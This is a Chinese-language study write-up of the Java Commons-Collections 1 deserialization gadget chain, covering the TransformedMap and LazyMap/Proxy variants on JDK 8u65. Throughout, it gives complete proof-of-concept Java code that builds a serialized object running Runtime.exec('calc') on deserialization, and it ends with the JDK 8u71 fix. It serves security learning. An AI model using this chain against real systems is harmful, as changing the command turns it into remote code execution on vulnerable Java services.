Java_Commons-Collections 1 学习过程
环境配置
环境配置
配置过程
新建一个项目然后将JDK换成8u65
![image]()
然后再pom里添加依赖
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
然后import 一下cc的包成功就是配置好了
1
| import org.apache.commons.collections.functors.InvokerTransformer;
|
然后我们还要做一件事,修改 sun 包。
因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。
openJDK 8u65 ———— 去到这个下载链接,点击 zip
![image]()
下载完后解压然后再把8u65里的src.zip解压然后将jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes路径下的sun文件夹放在8u65里的src中
![image]()
然后再把这个src导入到idea中
![image]()
注:可能会遇到乱七八糟的报错,可以查查,我中间遇到一直无法找到类最后把所有路径都不包含中文就好了
Common-Collections 相关介绍
闪烁之狐大佬说的很清楚
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
- 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的
Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
包结构介绍
org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag – 实现Bag接口的一组类
org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer – 实现Buffer接口的一组类
org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list – 实现java.util.List接口的一组类
org.apache.commons.collections.map – 实现Map系列接口的一组类
org.apache.commons.collections.set – 实现Set系列接口的一组类
我的习惯看反序列化就是从尾部开始看然后向前推,这样感觉更有思路一点
CC1链子的源头就是CC库中的Transformer接口里面有个transform方法,通过实现此接口来达到类型转换的目的
crtl+alt+b找到InvokerTransformer类,就是我们最终执行命令的地方
第一部分
![image]()
可以看到这里的transform方法存在反射调用任意的方法并且执行
![image]()
先不考虑参数是否可控,先试试假如可控是否能达到我们的目的,编写一个小demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner;
public class Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); Class cls = runtime.getClass();
Method method = cls.getMethod("exec", String.class); method.invoke(runtime, "calc.exe"); } }
|
发现雀实可以弹出计算器
可以发现通过该类的构造函数就可以控制参数了
![image]()
父类方法就是接受一个输入,所以我们就利用有参构造函数来构造EXP
因为是public所以用不到反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package org.cc1.com;
import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); invokerTransformer.transform(runtime); } }
|
写好所需要的参数,然后再触发方法
![image]()
这样链子的尾部就找好了,然后一层一层向上找,找到谁调用了transformer方法,一直找到可以重写的readObject方法接收任意对象作为参数
![image]()
右键查找用法
![image]()
第二部分
这里有两个类对应着两种CC1的打法,先看看TransformedMap
其中 TransformedMap类中存在 checkSetValue()方法调用了 transform()方法。
![image]()
看看这个valueTransformer是怎么个事
![image]()
![image]()
源赖似小TransformedMap的构造函数,但是它是protected类型的我们动不了它
但是向上翻翻发现有个decorate静态方法中给我们返回了TransformedMap对象
到这我们延长我们写的链子试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.cc1.com;
import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Map map = new HashMap<>(); TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer); Method method = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class); method.setAccessible(true); method.invoke(transformedMap,runtime); } }
|
手写链子能让链子构造的思路更清晰一点
思路:
通过decorate方法获得TransformedMap的实例,然后再通过反射获取到checkSetValue方法最终调用到了transform方法
其中讲valueTransformer赋值我们构造的InvokerTransformer实例就相当于最终构造出了InvokerTransformer.tansform
![image]()
然后老样子继续查找用法看看谁调用checkSetValue
![image]()
发现只有 AbstractInputCheckedMapDecorator 调用了checkSetValue。而且它是 TransformedMap 的父类
setValue()实际上就是在 Map 中对一组 entry(键值对)进行 setValue()操作。
![image]()
一直往上跟可以跟到这个位置
![image]()
![image]()
所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue()当中,而 setValue()就会调用 checkSetValue
编写一下poc试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.cc1.com;
import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Map map = new HashMap<>(); map.put("nbc","nbc"); TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); }
} }
|
发现这样是错的
![image]()
因为是对Map遍历,而decorate也是Map类型的
![image]()
所以我们的Poc是可以改出来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.cc1.com;
import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Map map = new HashMap<>(); map.put("nbc","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer); for (Map.Entry entry:decorateTransformed.entrySet()){ entry.setValue(runtime); }
} }
|
注:Map<Object, Object>是为了与返回的对象类型匹配
打个断点看看是不是跳进来了
![image]()
发现是没错的
思路是:
流程就是我们遍历 transformedmap 的时候用的是 entrySet() , 来自于 transformedmap 父类的 entrySet() ,然后就会进入其父类的副类 MapEntry 下的 构造方法,使每个 entry 这里就是 “nbc”->“nbc” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类,AbstractMapEntryDecorator 又引入了 Map.Entry 接口,所以可以通过遍历调用 setValue 方法,恰巧 MapEntry 重写了这个方法。而这个重写的方法正好调用了 checkSetValue。
形成闭环
到此处,我们的攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue方法,即可构造 poc。
就是如何遍历一个Map最终执行 setValue()方法
如果能找到一个 readObject()里面调用了 setValue()那就是很巧又完美
上面都巧这也可以巧
![image]()
第三部分
这可以说是很重要的一部了,好把没有不重要的就是找readObject入口
右键setValue查找用法
![image]()
找到了并且调用了setValue方法
![image]()
![image]()
readObject 的方法是类 AnnotationInvocationHandler的,AnnotationInvocationHandler的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。
我们先不管这个setValue怎么长的不是很友善,这两个if是干什么的,我们就假设在处于理想状态然后先写一个理想化的poc然后慢慢改
AnnotationInvocationHandler的构造函数
![image]()
接受一个注解型的,第二个是个 Map 型的,而且这个 memberValues 会被拿去遍历
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package org.cc1.com;
import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Map map = new HashMap<>(); map.put("nbc","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Override.class, decorateTransformed);
serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
三个问题
当然是没有任何反应的,因为还有三个条件我们忽略了
- Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。
- 解决两个 if 判断
setValue()的传参,是需要传 Runtime对象的;而在实际情况当中的 setValue()的传参是这一坨
![image]()
第一个问题
解决Runtime对象不可序列化
运用反射
先写个正常的反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.cc1.com;
import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class RuntimeTestExp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class r = Runtime.class; Method runtimeMethod = r.getMethod("getRuntime"); Runtime runtime = (Runtime) runtimeMethod.invoke(null,null); Method method = r.getMethod("exec", String.class); method.invoke(runtime,"calc"); } }
|
然后就突然想起来我们最开始的时候InvokerTransformer不是带反射,那么我们就可以构造成InvokerTransformer调用的方式
就是这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package org.cc1.com;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class RuntimeTestExp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class r = Runtime.class; Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r); Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod); new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); } }
|
可以发现个规律
- 格式都为
new InvokerTransformer().invoke()
- 后一个
invoke() 方法里的参数都是前一个的结果
这里正好有个类ChainedTransformer
![image]()
就是传入的Transformer类型的数组然后递归调用,然后前一个的结果正好是后一个的参数
按照这个思路构造一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.cc1.com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class RuntimeTestExp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); } }
|
替换掉最开始理想poc的Runtime部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package org.cc1.com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class TransformMapExp { public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); map.put("nbc","nbc"); Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Override.class, decorateTransformed); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
第二个问题
绕过两个 if
第一if
![image]()
看看这个memberValue是干什么的
![image]()
获取传参注解方法,我们没过说明传的那个注解是null
![image]()
换一个
![image]()
有成员变量value而第二个if要求map.put的第一个参数相等所以改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package org.cc1.com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class TransformMapExp { public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); map.put("value","nbc"); Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, decorateTransformed); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
打个断点看看
![image]()
过了但是还是不弹计算器
第三个问题
![image]()
发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。
![image]()
value的值不是我们需要的 Runtime.class
我们需要找到一个类,能够可控 setValue 的参数
找到了一个能够解决 setValue可控参数的类 ———— ConstantTransformer。
![image]()
- 构造方法:传入的任何对象都放在 iConstant中
- transform()方法:无论传入什么,都返回 iConstant,这就类似于一个常量了。
那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy类作为 transform()方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class
这点说起来很抽象最好是手动跟一下过程
![image]()
![image]()
所以在最后调用.transform的时候,因为ConstantTransformer的构造变成了Runtime.class
![image]()
![image]()
上面还不是Runtime,调用下transform就返回了Runtime了
![image]()
完事!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package org.cc1.com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class TransformMapExp { public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> map = new HashMap<>(); map.put("value","nbc"); Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, decorateTransformed); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
![image]()
流程图
![image]()
1 2 3 4 5 6 7 8 9
| 利用链: InvokerTransformer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocationHandler#readObject 使用到的工具类辅助利用链: ConstantTransformer ChainedTransformer Map
|
LazyMap版CC1攻击链分析
第一部分
最终执行命令的地方其实是一样的同TransformMap
第二部分
主要还是那个分叉口开始
![image]()
这次看LazyMap
![image]()
看看factory是什么
![image]()
![image]()
熟悉的decorate帮助我们创建一个LazyMap实例并且控制factory
到这里试试这个想法行不行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.cc1.com;
import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Map map = new HashMap<>(); Map decorateLazyMap = LazyMap.decorate(map,invokerTransformer); decorateLazyMap.get(runtime);
}
}
|
![image]()
看来是没问题的那就继续向上找,看看有没有调用get的时候还有readObject
在AnnotationInvocationHandler.invoke()中发现了可以满足我们需求
![image]()
需要触发 invoke方法,一个类被动态代理了之后,再想要通过代理调用这个类的方法就会调用 invoke()方法。
在readObject中发现了
![image]()
在这里调用了 entrySet()方法,也就是说,如果我们将 memberValues的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。
我们发现AnnotationInvocationHandler中实现了InvocationHandler于是可以使用动态代理的方法
我们如果将AnnotationInvocationHandler对象用Proxy进行动态代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke方法中,进而触发我们的LazyMap.get方法
![image]()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package org.cc1.com;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class LazyMapExp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class Ann = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = Ann.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1); InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler2); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
![image]()
流程图
![image]()
1 2 3 4 5 6 7 8 9 10 11
| 调用链 InvokeTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject
辅助链 ChainedTransformer ConstantTransformer HashMap Map(Proxy)#entrySet
|
修复手段
官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71
对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue() 方法的地方。
对于LazyMap版的CC1链子
因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields来获取几个特定的属性,defaultReadObject可以恢复对象本身的类属性,比如this.memberValues就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因
参考文章
Drunkbaby
Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析
java反序列化从0到cc1
JavaSec 基础之 CC1 链-CSDN博客